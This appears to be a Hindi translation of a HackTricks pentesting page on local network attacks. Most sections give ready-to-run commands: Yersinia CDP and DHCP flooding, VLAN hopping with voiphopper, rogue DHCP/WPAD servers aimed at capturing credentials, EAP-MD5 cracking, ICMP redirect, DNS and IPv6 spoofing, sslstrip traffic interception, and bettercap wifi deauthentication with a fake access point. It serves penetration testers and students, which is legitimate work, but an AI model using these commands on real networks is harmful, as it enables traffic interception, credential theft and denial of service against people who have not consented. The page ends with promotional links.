डिफ़ॉल्ट रूप से, CDP अपने सभी पोर्ट्स पर घोषणाएँ भेजता है। लेकिन अगर कोई घुसपैठिया उसी स्विच पर एक पोर्ट से जुड़ता है? एक नेटवर्क स्निफर का उपयोग करते हुए, चाहे वह Wireshark, tcpdump या Yersinia हो, वह उपकरण के बारे में मूल्यवान जानकारी निकाल सकता है, इसके मॉडल से लेकर Cisco IOS संस्करण तक। इस जानकारी का उपयोग करके वह उसी संस्करण के Cisco IOS को गिन सकता है और फिर उसमें भेद्यता ढूंढ सकता है और फिर उसका शोषण कर सकता है।
CDP फ्लडिंग हमला
आप वास्तविक CISCO उपकरणों का अनुकरण करके डिवाइस मेमोरी को समाप्त करके CISCO स्विच पर DoS हमला कर सकते हैं।
sudo yersinia cdp -attack 1 #DoS Attack simulating new CISCO devices
# Or you could use the GUI
sudo yersinia -G
flooding CDP table विकल्प का चयन करें और हमला शुरू करें। स्विच CPU अधिभारित हो जाएगा, साथ ही CDP पड़ोसी तालिका भी, जिसके परिणामस्वरूप “नेटवर्क पक्षाघात” होगा।
CDP Impersonation Attack
sudo yersinia cdp -attack 2 #Simulate a new CISCO device
sudo yersinia cdp -attack 0 #Send a CDP packet
आप scapy का भी उपयोग कर सकते हैं। इसे scapy/contrib
पैकेज के साथ इंस्टॉल करना सुनिश्चित करें।
VoIP हमले
हालांकि VoIP (Voice over Internet Protocol) फोन के उपयोग के लिए इरादा किया गया, आधुनिक VoIP उपकरणों को बढ़ते हुए IoT उपकरणों के साथ एकीकृत किया जा रहा है। अब कई कर्मचारी एक विशेष फोन नंबर का उपयोग करके दरवाजे खोल सकते हैं, कमरे के थर्मोस्टेट को नियंत्रित कर सकते हैं...
उपकरण voiphopper Cisco, Avaya, Nortel, और Alcatel-Lucent वातावरणों में एक VoIP फोन के व्यवहार की नकल करता है। यह डिवाइस डिस्कवरी प्रोटोकॉल्स में से एक का उपयोग करके आवाज नेटवर्क के लिए सही VLAN ID की खोज करता है, जैसे कि Cisco Discovery Protocol (CDP), Dynamic Host Configuration Protocol (DHCP), Link Layer Discovery Protocol Media Endpoint Discovery (LLDP-MED), और 802.1Q ARP।
VoIP Hopper तीन CDP मोड्स का समर्थन करता है। sniff मोड नेटवर्क पैकेट्स की जांच करता है और VLAN ID का पता लगाने का प्रयास करता है। इसका उपयोग करने के लिए, -c
पैरामीटर को 0
पर सेट करें। spoof मोड कॉर्पोरेट नेटवर्क में एक वास्तविक VoIP उपकरण द्वारा प्रसारित किए जाने वाले पैकेट्स के समान कस्टम पैकेट्स उत्पन्न करता है। इसका उपयोग करने के लिए, -c
पैरामीटर को 1
पर सेट करें। pre-madepacket मोड के साथ spoof मोड Cisco 7971G-GE IP फोन के समान पैकेट्स भेजता है। इसका उपयोग करने के लिए, -c
पैरामीटर को 2
पर सेट करें।
हम अंतिम विधि का उपयोग करते हैं क्योंकि यह सबसे तेज़ दृष्टिकोण है। -i
पैरामीटर हमलावर के नेटवर्क इंटरफेस को निर्दिष्ट करता है, और -E
पैरामीटर नकल किए जा रहे VOIP उपकरण का नाम निर्दिष्ट करता है। हमने SEP001EEEEEEEEE नाम चुना, जो VoIP फोन के लिए Cisco नामकरण प्रारूप के साथ संगत है। प्रारूप में "SEP" शब्द के बाद एक MAC पता होता है। कॉर्पोरेट वातावरणों में, आप फोन के पीछे के MAC लेबल को देखकर; फोन की डिस्प्ले स्क्रीन पर सेटिंग्स बटन दबाकर और मॉडल इन्फॉर्मेशन विकल्प का चयन करके; या अपने लैपटॉप से VoIP उपकरण के ईथरनेट केबल को जोड़कर और Wireshark का उपयोग करके उपकरण के CDP अनुरोधों को देखकर एक मौजूदा VoIP उपकरण की नकल कर सकते हैं।
voiphopper -i eth1 -E 'SEP001EEEEEEEEE ' -c 2
यदि उपकरण सफलतापूर्वक कार्य करता है, तो VLAN नेटवर्क हमलावर के उपकरण को IPv4 पता आवंटित करेगा।
DHCP हमले
सूचीकरण
nmap --script broadcast-dhcp-discover
Starting Nmap 7.80 ( https://nmap.org ) at 2019-10-16 05:30 EDT
WARNING: No targets were specified, so 0 hosts scanned.
Pre-scan script results:
| broadcast-dhcp-discover:
| Response 1 of 1:
| IP Offered: 192.168.1.250
| DHCP Message Type: DHCPOFFER
| Server Identifier: 192.168.1.1
| IP Address Lease Time: 1m00s
| Subnet Mask: 255.255.255.0
| Router: 192.168.1.1
| Domain Name Server: 192.168.1.1
|_ Domain Name: mynet
Nmap done: 0 IP addresses (0 hosts up) scanned in 5.27 seconds
DoS
DoS के दो प्रकार DHCP सर्वरों के खिलाफ प्रदर्शन किए जा सकते हैं। पहला तरीका है पर्याप्त नकली होस्ट्स का अनुकरण करना ताकि सभी संभावित IP पते का उपयोग किया जा सके।
यह हमला केवल तब काम करेगा जब आप DHCP सर्वर के प्रतिसाद देख सकते हैं और प्रोटोकॉल को पूरा कर सकते हैं (Discover (Comp) --> Offer (सर्वर) --> Request (Comp) --> ACK (सर्वर))। उदाहरण के लिए, यह Wifi नेटवर्क में संभव नहीं है।
DHCP DoS करने का एक अन्य तरीका है हर संभावित IP का स्रोत कोड के रूप में DHCP-RELEASE पैकेट भेजना। फिर, सर्वर सोचेगा कि सभी ने IP का उपयोग समाप्त कर दिया है।
yersinia dhcp -attack 1
yersinia dhcp -attack 3 #More parameters are needed
दुर्भावनापूर्ण मान सेट करें
आप Responder DHCP स्क्रिप्ट (/usr/share/responder/DHCP.py) का उपयोग करके एक रोग DHCP सर्वर स्थापित कर सकते हैं। एक दुर्भावनापूर्ण गेटवे सेट करना आदर्श नहीं है, क्योंकि हाईजैक किया गया कनेक्शन केवल आधा-डुप्लेक्स होता है (अर्थात्, हम क्लाइंट से निकलने वाले पैकेट्स को कैप्चर करते हैं, लेकिन वैध गेटवे से प्रतिक्रियाएं नहीं)। इसलिए, मैं HTTP ट्रैफिक और विशेष रूप से क्रेडेंशियल्स को कैप्चर करने के लिए एक रोग DNS या WPAD सर्वर सेट करने की सिफारिश करूंगा।
विवरण | उदाहरण |
---|---|
हमारा IP पता, एक गेटवे के रूप में विज्ञापित | -i 10.0.0.100 |
स्थानीय DNS डोमेन नाम (वैकल्पिक) | -d example.org |
मूल राउटर/गेटवे का IP पता | -r 10.0.0.1 |
प्राथमिक DNS सर्वर IP पता | -p 10.0.0.100 |
द्वितीयक DNS सर्वर IP पता (वैकल्पिक) | -s 10.0.0.1 |
स्थानीय नेटवर्क का नेटमास्क | -n 255.255.255.0 |
DHCP ट्रैफिक के लिए सुनने वाला इंटरफेस | -I eth1 |
WPAD कॉन्फ़िगरेशन पता (URL) | _-w “http://10.0.0.100/wpad.dat\n” |
डिफ़ॉल्ट गेटवे IP पता का नकलीकरण | -S |
सभी DHCP अनुरोधों का उत्तर देना (बहुत शोर) | -R |
EAP हमले
यहां कुछ हमले की रणनीतियां हैं जो 802.1X कार्यान्वयन के खिलाफ उपयोग की जा सकती हैं:
- EAP के माध्यम से सक्रिय ब्रूट-फोर्स पासवर्ड ग्राइंडिंग
- मालफॉर्म्ड EAP सामग्री के साथ RADIUS सर्वर पर हमला **(exploits)
- EAP संदेश कैप्चर और ऑफलाइन पासवर्ड क्रैकिंग (EAP-MD5 और PEAP)
- TLS प्रमाणपत्र मान्यता को बायपास करने के लिए EAP-MD5 प्रमाणीकरण को मजबूर करना
- हब या इसी तरह का उपयोग करके प्रमाणीकरण के बाद दुर्भावनापूर्ण नेटवर्क ट्रैफिक इंजेक्ट करना
यदि हमलावर पीड़ित और प्रमाणीकरण सर्वर के बीच में है, तो वह प्रमाणीकरण प्रोटोकॉल को EAP-MD5 में गिराने की कोशिश कर सकता है (यदि आवश्यक हो) और प्रमाणीकरण प्रयास को कैप्चर कर सकता है। फिर, वह इसे ब्रूट-फोर्स कर सकता है:
eapmd5pass –r pcap.dump –w /usr/share/wordlist/sqlmap.txt
FHRP (GLBP & HSRP) हमले
FHRP (प्रथम हॉप रिडंडेंसी प्रोटोकॉल) नेटवर्क प्रोटोकॉल्स की एक श्रेणी है जिसे गर्म रिडंडेंट रूटिंग सिस्टम बनाने के लिए डिजाइन किया गया है। FHRP के साथ, भौतिक राउटर्स को एक एकल तार्किक डिवाइस में संयोजित किया जा सकता है, जो दोष सहिष्णुता बढ़ाता है और लोड को वितरित करने में मदद करता है।
Cisco Systems के इंजीनियरों ने दो FHRP प्रोटोकॉल, GLBP और HSRP विकसित किए हैं।
{% content-ref url="glbp-and-hsrp-attacks.md" %} glbp-and-hsrp-attacks.md {% endcontent-ref %}
RIP
रूटिंग इन्फॉर्मेशन प्रोटोकॉल (RIP) के तीन संस्करण हैं—RIP, RIPv2, और RIPng। RIP और RIPv2 UDP डेटाग्राम्स का उपयोग करते हैं जो पोर्ट 520 के माध्यम से साथियों को भेजे जाते हैं, जबकि RIPng UDP पोर्ट 521 के माध्यम से IPv6 मल्टीकास्ट के जरिए डेटाग्राम्स का प्रसारण करता है। RIPv2 ने MD5 प्रमाणीकरण समर्थन पेश किया। RIPng में मूल प्रमाणीकरण शामिल नहीं है; इसके बजाय, यह IPv6 के भीतर वैकल्पिक IPsec AH और ESP हेडर्स पर निर्भर करता है।
इस प्रोटोकॉल पर हमला करने के बारे में अधिक जानकारी के लिए Network Security Assessment: Know Your Network (3rd edition). पुस्तक देखें।
EIGRP हमले
EIGRP (एन्हांस्ड इंटीरियर गेटवे रूटिंग प्रोटोकॉल) एक गतिशील रूटिंग प्रोटोकॉल है। यह एक दूरी-वेक्टर प्रोटोकॉल है। यदि प्रमाणीकरण नहीं है और पैसिव इंटरफेसेस का कॉन्फ़िगरेशन नहीं है, तो एक घुसपैठिया EIGRP रूटिंग में हस्तक्षेप कर सकता है और रूटिंग टेबल्स पॉइज़निंग का कारण बन सकता है। इसके अलावा, EIGRP नेटवर्क (दूसरे शब्दों में, स्वायत्त प्रणाली) समतल है और किसी भी क्षेत्रों में विभाजन नहीं है। यदि एक हमलावर एक मार्ग इंजेक्ट करता है, तो संभावना है कि यह मार्ग स्वायत्त EIGRP प्रणाली में पूरे भर में फैल जाएगा।
EIGRP प्रणाली पर हमला करने के लिए एक वैध EIGRP राउटर के साथ एक पड़ोसी स्थापित करना आवश्यक है, जिससे बुनियादी टोही से लेकर विभिन्न इंजेक्शन तक की कई संभावनाएं खुल जाती हैं।
****FRRouting आपको एक आभासी राउटर लागू करने की अनुमति देता है जो BGP, OSPF, EIGRP, RIP और अन्य प्रोटोकॉल्स का समर्थन करता है। आपको बस इसे अपने हमलावर के सिस्टम पर तैनात करना होगा और आप वास्तव में रूटिंग डोमेन में एक वैध राउटर होने का नाटक कर सकते हैं।
{% content-ref url="eigrp-attacks.md" %} eigrp-attacks.md {% endcontent-ref %}
****Coly भी EIGRP प्रसारणों को कैप्चर करने और पैकेट्स के इंजेक्शन का समर्थन करता है ताकि रूटिंग कॉन्फ़िगरेशन को प्रभावित किया जा सके। इसके साथ हमला करने के बारे में अधिक जानकारी के लिए Network Security Assessment: Know Your Network (3rd edition). पुस्तक देखें।
OSPF
अधिकांश Open Shortest Path First (OSPF) कार्यान्वयन MD5 का उपयोग करते हैं राउटर्स के बीच प्रमाणीकरण प्रदान करने के लिए। Loki और John the Ripper MD5 हैशेज को कैप्चर और हमला कर सकते हैं ताकि कुंजी का पता लगाया जा सके, जिसका उपयोग नए मार्गों की घोषणा के लिए किया जा सकता है। मार्ग पैरामीटर्स Injection टैब का उपयोग करके सेट किए जाते हैं, और कुंजी Connection के तहत सेट की जाती है।
इस प्रोटोकॉल पर हमला करने के बारे में अधिक जानकारी के लिए Network Security Assessment: Know Your Network (3rd edition). पुस्तक देखें।
अन्य सामान्य उपकरण और स्रोत
- Above: नेटवर्क ट्रैफिक स्कैन करने और कमजोरियों का पता लगाने के लिए उपकरण
- नेटवर्क हमलों के बारे में कुछ और जानकारी आप यहाँ पा सकते हैं। (TODO: इसे पूरा पढ़ें और नए हमलों को जोड़ें यदि कोई हो)
Spoofing
हमलावर नेटवर्क के नए सदस्य के सभी नेटवर्क पैरामीटर्स (GW, IP, DNS) को नकली DHCP प्रतिक्रियाएँ भेजकर कॉन्फ़िगर करता है।
Ettercap
yersinia dhcp -attack 2 #More parameters are needed
ARP Spoofing
पिछले अनुभाग को देखें।
ICMPRedirect
ICMP Redirect में ICMP पैकेट टाइप 1 कोड 5 भेजना शामिल है, जो यह संकेत देता है कि हमलावर किसी IP तक पहुंचने का सबसे अच्छा मार्ग है। फिर, जब पीड़ित उस IP से संपर्क करना चाहता है, तो वह पैकेट को हमलावर के माध्यम से भेजेगा।
Ettercap
icmp_redirect
hping3 [VICTIM IP ADDRESS] -C 5 -K 1 -a [VICTIM DEFAULT GW IP ADDRESS] --icmp-gw [ATTACKER IP ADDRESS] --icmp-ipdst [DST IP ADDRESS] --icmp-ipsrc [VICTIM IP ADDRESS] #Send icmp to [1] form [2], route to [3] packets sent to [4] from [5]
DNS Spoofing
हमलावर कुछ (या सभी) डोमेन्स को हल करेगा जिनके बारे में पीड़ित ने पूछा है।
set dns.spoof.hosts ./dns.spoof.hosts; dns.spoof on
dnsmasq के साथ अपना DNS कॉन्फ़िगर करें
apt-get install dnsmasqecho "addn-hosts=dnsmasq.hosts" > dnsmasq.conf #Create dnsmasq.confecho "127.0.0.1 domain.example.com" > dnsmasq.hosts #Domains in dnsmasq.hosts will be the domains resolved by the Dsudo dnsmasq -C dnsmasq.conf --no-daemon
dig @localhost domain.example.com # Test the configured DNS
स्थानीय गेटवे
प्रणालियों और नेटवर्कों तक पहुंचने के लिए अक्सर कई मार्ग होते हैं। स्थानीय नेटवर्क के भीतर MAC पते की सूची बनाने के बाद, gateway-finder.py का उपयोग करके उन होस्ट्स की पहचान करें जो IPv4 फॉरवर्डिंग का समर्थन करते हैं।
root@kali:~# git clone https://github.com/pentestmonkey/gateway-finder.git
root@kali:~# cd gateway-finder/
root@kali:~# arp-scan -l | tee hosts.txt
Interface: eth0, datalink type: EN10MB (Ethernet)
Starting arp-scan 1.6 with 256 hosts (http://www.nta-monitor.com/tools/arp-scan/)
10.0.0.100 00:13:72:09:ad:76 Dell Inc.
10.0.0.200 00:90:27:43:c0:57 INTEL CORPORATION
10.0.0.254 00:08:74:c0:40:ce Dell Computer Corp.
root@kali:~/gateway-finder# ./gateway-finder.py -f hosts.txt -i 209.85.227.99
gateway-finder v1.0 http://pentestmonkey.net/tools/gateway-finder
[+] Using interface eth0 (-I to change)
[+] Found 3 MAC addresses in hosts.txt
[+] We can ping 209.85.227.99 via 00:13:72:09:AD:76 [10.0.0.100]
[+] We can reach TCP port 80 on 209.85.227.99 via 00:13:72:09:AD:76 [10.0.0.100]
LLMNR, NBT-NS और mDNS Spoofing
Microsoft सिस्टम्स LLMNR (Link-Local Multicast Name Resolution) और NBT-NS (NetBIOS Name Service) का उपयोग स्थानीय होस्ट रिज़ॉल्यूशन के लिए करते हैं जब DNS लुकअप विफल हो जाते हैं। Apple Bonjour और Linux ज़ीरो-कॉन्फ़िगरेशन कार्यान्वयन mDNS (Multicast DNS) का उपयोग नेटवर्क के भीतर सिस्टम्स की खोज के लिए करते हैं। ये प्रोटोकॉल अप्रमाणित होते हैं और UDP के माध्यम से संदेश प्रसारित करते हैं; इसलिए, हमलावर उनका शोषण कर सकते हैं ताकि उपयोगकर्ताओं को दुर्भावनापूर्ण सेवाओं की ओर निर्देशित कर सकें।
आप Responder का उपयोग करके उन सेवाओं की नकल कर सकते हैं जिनकी खोज होस्ट कर रहे हैं, नकली प्रतिक्रियाएँ भेजकर।
यहाँ Responder के साथ सेवाओं की नकल कैसे करें इसके बारे में अधिक जानकारी पढ़ें।
WPAD Spoofing
कई ब्राउज़र्स Web Proxy Auto-Discovery (WPAD) का उपयोग करते हैं ताकि नेटवर्क से प्रॉक्सी सेटिंग्स लोड कर सकें। WPAD सर्वर एक विशेष URL (उदाहरण के लिए, http://wpad.example.org/wpad.dat) के माध्यम से क्लाइंट प्रॉक्सी सेटिंग्स प्रदान करता है, जिसे निम्नलिखित में से किसी के माध्यम से पहचाना जा सकता है:
- DHCP, कोड 252 प्रविष्टि का उपयोग करते हुए34
- DNS, स्थानीय डोमेन में wpad होस्टनेम की खोज करते हुए
- Microsoft LLMNR और NBT-NS (DNS लुकअप विफलता की स्थिति में)
Responder WPAD हमले को स्वचालित करता है—एक प्रॉक्सी चलाकर और DHCP, DNS, LLMNR, और NBT-NS के माध्यम से क्लाइंट्स को एक दुर्भावनापूर्ण WPAD सर्वर की ओर निर्देशित करता है।
यहाँ Responder के साथ सेवाओं की नकल कैसे करें इसके बारे में अधिक जानकारी पढ़ें।
SSDP और UPnP उपकरणों की Spoofing
आप नेटवर्क में विभिन्न सेवाएँ प्रदान कर सकते हैं ताकि उपयोगकर्ता को चकमा देकर कुछ प्लेन-टेक्स्ट क्रेडेंशियल्स दर्ज करने के लिए प्रेरित कर सकें। इस हमले के बारे में अधिक जानकारी SSDP और UPnP उपकरणों की Spoofingमें।
IPv6 Neighbor Spoofing
यह हमला ARP Spoofing के बहुत समान है लेकिन IPv6 की दुनिया में। आप पीड़ित को यह सोचने के लिए प्राप्त कर सकते हैं कि GW का IPv6 मैक का हमलावर है।
sudo parasite6 -l eth0 # This option will respond to every requests spoofing the address that was requested
sudo fake_advertise6 -r -w 2 eth0 <Router_IPv6> #This option will send the Neighbor Advertisement packet every 2 seconds
IPv6 राउटर विज्ञापन स्पूफिंग/फ्लडिंग
कुछ OS नेटवर्क में भेजे गए RA पैकेट्स से डिफ़ॉल्ट गेटवे को कॉन्फ़िगर करते हैं। हमलावर को IPv6 राउटर के रूप में घोषित करने के लिए आप इस्तेमाल कर सकते हैं:
sysctl -w net.ipv6.conf.all.forwarding=1 4
ip route add default via <ROUTER_IPv6> dev wlan0
fake_router6 wlan0 fe80::01/16
IPv6 DHCP स्पूफिंग
कुछ OS डिफ़ॉल्ट रूप से नेटवर्क में DHCPv6 पैकेट पढ़कर DNS को कॉन्फ़िगर करने की कोशिश करते हैं। तब, एक हमलावर DHCPv6 पैकेट भेजकर खुद को DNS के रूप में कॉन्फ़िगर कर सकता है। DHCP पीड़ित को एक IPv6 भी प्रदान करता है।
dhcp6.spoof on
dhcp6.spoof.domains <list of domains>
mitm6
HTTP (नकली पृष्ठ और JS कोड इंजेक्शन)
इंटरनेट हमले
sslStrip
मूल रूप से यह हमला क्या करता है, यदि उपयोगकर्ता HTTP पृष्ठ को प्रवेश करने का प्रयास करता है जो HTTPS संस्करण की ओर पुनर्निर्देशित कर रहा है। sslStrip ग्राहक के साथ HTTP कनेक्शन को बनाए रखेगा और सर्वर के साथ HTTPS कनेक्शन को इसलिए यह सादे पाठ में कनेक्शन को सूंघने में सक्षम होगा।
apt-get install sslstrip
sslstrip -w /tmp/sslstrip.log --all - l 10000 -f -k
#iptables --flush
#iptables --flush -t nat
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000
iptables -A INPUT -p tcp --destination-port 10000 -j ACCEPT
अधिक जानकारी यहाँ पर मिल सकती है।
sslStrip+ और dns2proxy का उपयोग HSTS को बायपास करने के लिए
sslStrip+ और dns2proxy और sslStrip के बीच का अंतर यह है कि वे उदाहरण के लिए www.facebook.com को wwww.facebook.com में पुनर्निर्देशित करेंगे (ध्यान दें कि एक अतिरिक्त "w" है) और इस डोमेन का पता हमलावर के IP के रूप में सेट करेंगे। इस तरह, क्लाइंट wwww.facebook.com (हमलावर) से जुड़ेगा लेकिन पर्दे के पीछे sslstrip+ वास्तविक कनेक्शन को https के माध्यम से www.facebook.com के साथ बनाए रखेगा।
इस तकनीक का लक्ष्य HSTS से बचना है क्योंकि wwww.facebook.com ब्राउज़र के कैश में सहेजा नहीं जाएगा, इसलिए ब्राउज़र को धोखा दिया जाएगा कि वह facebook प्रमाणीकरण HTTP में करे।
ध्यान दें कि इस हमले को करने के लिए पीड़ित को प्रारंभिक रूप से http://www.faceook.com पर प्रयास करना होगा और https नहीं। यह एक http पेज के अंदर के लिंक्स को संशोधित करके किया जा सकता है।
अधिक जानकारी यहाँ, यहाँ और यहाँ पर मिल सकती है।
sslStrip या sslStrip+ अब काम नहीं करते हैं। यह इसलिए है क्योंकि ब्राउज़रों में पहले से HSTS नियम सहेजे गए हैं, इसलिए यदि कोई उपयोगकर्ता पहली बार "महत्वपूर्ण" डोमेन तक पहुँचता है तो वह इसे HTTPS के माध्यम से ही एक्सेस करेगा। यह भी ध्यान दें कि पहले से सहेजे गए नियम और अन्य उत्पन्न नियम includeSubdomains
फ्लैग का उपयोग कर सकते हैं, इसलिए पहले का wwww.facebook.com उदाहरण अब काम नहीं करेगा क्योंकि facebook.com includeSubdomains
के साथ HSTS का उपयोग करता है।
TODO: easy-creds, evilgrade, metasploit, factory
TCP पोर्ट पर सुनो
sudo nc -l -p 80
socat TCP4-LISTEN:80,fork,reuseaddr -
TCP + SSL पोर्ट में सुनो
कुंजियाँ और स्व-हस्ताक्षरित प्रमाणपत्र उत्पन्न करें
FILENAME=server
# Generate a public/private key pair:
openssl genrsa -out $FILENAME.key 1024
# Generate a self signed certificate:
openssl req -new -key $FILENAME.key -x509 -sha256 -days 3653 -out $FILENAME.crt
# Generate the PEM file by just appending the key and certificate files:
cat $FILENAME.key $FILENAME.crt >$FILENAME.pem
प्रमाणपत्र का उपयोग कर सुनें
sudo socat -v -v openssl-listen:443,reuseaddr,fork,cert=$FILENAME.pem,cafile=$FILENAME.crt,verify=0 -
प्रमाणपत्र का उपयोग कर सुनें और होस्ट्स की ओर अनुप्रेषित करें
sudo socat -v -v openssl-listen:443,reuseaddr,fork,cert=$FILENAME.pem,cafile=$FILENAME.crt,verify=0 openssl-connect:[SERVER]:[PORT],verify=0
कभी-कभी, यदि ग्राहक जांचता है कि CA एक मान्य है, तो आप एक CA द्वारा हस्ताक्षरित अन्य होस्टनाम का प्रमाणपत्र प्रदान कर सकते हैं।
एक और दिलचस्प परीक्षण, अनुरोधित होस्टनाम का स्व-हस्ताक्षरित प्रमाणपत्र प्रदान करना है।
परीक्षण करने के लिए अन्य चीजें यह है कि मान्य प्रमाणपत्र के साथ प्रमाणपत्र पर हस्ताक्षर करने का प्रयास करें जो एक मान्य CA नहीं है। या मान्य सार्वजनिक कुंजी का उपयोग करें, एक एल्गोरिदम का उपयोग करने के लिए मजबूर करें जैसे कि डिफी हेलमैन (एक जिसे वास्तविक निजी कुंजी के साथ कुछ भी डिक्रिप्ट करने की आवश्यकता नहीं है) और जब ग्राहक वास्तविक निजी कुंजी का प्रोब (जैसे कि एक हैश) का अनुरोध करता है, तो एक नकली प्रोब भेजें और उम्मीद करें कि ग्राहक इसे जांच नहीं करता है।
Bettercap
# Events
events.stream off #Stop showing events
events.show #Show all events
events.show 5 #Show latests 5 events
events.clear
# Ticker (loop of commands)
set ticker.period 5; set ticker.commands "wifi.deauth DE:AD:BE:EF:DE:AD"; ticker on
# Caplets
caplets.show
caplets.update
# Wifi
wifi.recon on
wifi.deauth BSSID
wifi.show
# Fake wifi
set wifi.ap.ssid Banana
set wifi.ap.bssid DE:AD:BE:EF:DE:AD
set wifi.ap.channel 5
set wifi.ap.encryption false #If true, WPA2
wifi.recon on; wifi.ap
सक्रिय खोज नोट्स
ध्यान रखें कि जब एक UDP पैकेट किसी ऐसे डिवाइस को भेजा जाता है जिसमें अनुरोधित पोर्ट नहीं होता है, तो एक ICMP (पोर्ट अनुपलब्ध) भेजा जाता है।
ARP खोज
ARP पैकेट्स का उपयोग नेटवर्क के अंदर कौन से IPs उपयोग में हैं, यह जानने के लिए किया जाता है। पीसी को प्रत्येक संभावित IP पते के लिए एक अनुरोध भेजना होता है और केवल वे ही जवाब देंगे जो उपयोग में हैं।
mDNS (मल्टीकास्ट DNS)
Bettercap हर X मिलीसेकंड में एक MDNS अनुरोध भेजता है, जो _services_.dns-sd._udp.local के लिए पूछता है, जो मशीन इस पैकेट को देखती है वह आमतौर पर इस अनुरोध का जवाब देती है। फिर, यह केवल उन मशीनों की खोज करता है जो "services" का जवाब देती हैं।
उपकरण
- Avahi-browser (--all)
- Bettercap (net.probe.mdns)
- Responder
NBNS (NetBios Name Server)
Bettercap 137/UDP पोर्ट पर पैकेट्स को ब्रॉडकास्ट करता है, जो "CKAAAAAAAAAAAAAAAAAAAAAAAAAAA" नाम के लिए पूछता है।
SSDP (Simple Service Discovery Protocol)
Bettercap SSDP पैकेट्स को ब्रॉडकास्ट करता है, जो सभी प्रकार की सेवाओं की खोज करता है (UDP पोर्ट 1900)।
WSD (Web Service Discovery)
Bettercap WSD पैकेट्स को ब्रॉडकास्ट करता है, जो सेवाओं की खोज करता है (UDP पोर्ट 3702)।
संदर्भ
बग बाउंटी टिप: Intigriti के लिए साइन अप करें, एक प्रीमियम बग बाउंटी प्लेटफॉर्म जो हैकर्स द्वारा, हैकर्स के लिए बनाया गया है! हमसे आज ही https://go.intigriti.com/hacktricks पर जुड़ें, और $100,000 तक की बाउंटी कमाना शुरू करें!
{% embed url="https://go.intigriti.com/hacktricks" %}
Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)!
HackTricks का समर्थन करने के अन्य तरीके:
- यदि आप चाहते हैं कि आपकी कंपनी का विज्ञापन HackTricks में दिखाई दे या HackTricks को PDF में डाउनलोड करें तो सब्सक्रिप्शन प्लान्स देखें!
- आधिकारिक PEASS & HackTricks स्वैग प्राप्त करें
- The PEASS Family की खोज करें, हमारा एक्सक्लूसिव NFTs संग्रह
- 💬 Discord group या telegram group में शामिल हों या Twitter पर मुझे 🐦 @carlospolopm** का अनुसरण करें**।
- HackTricks के HackTricks और HackTricks Cloud github repos में PRs सबमिट करके अपनी हैकिंग ट्रिक्स साझा करें।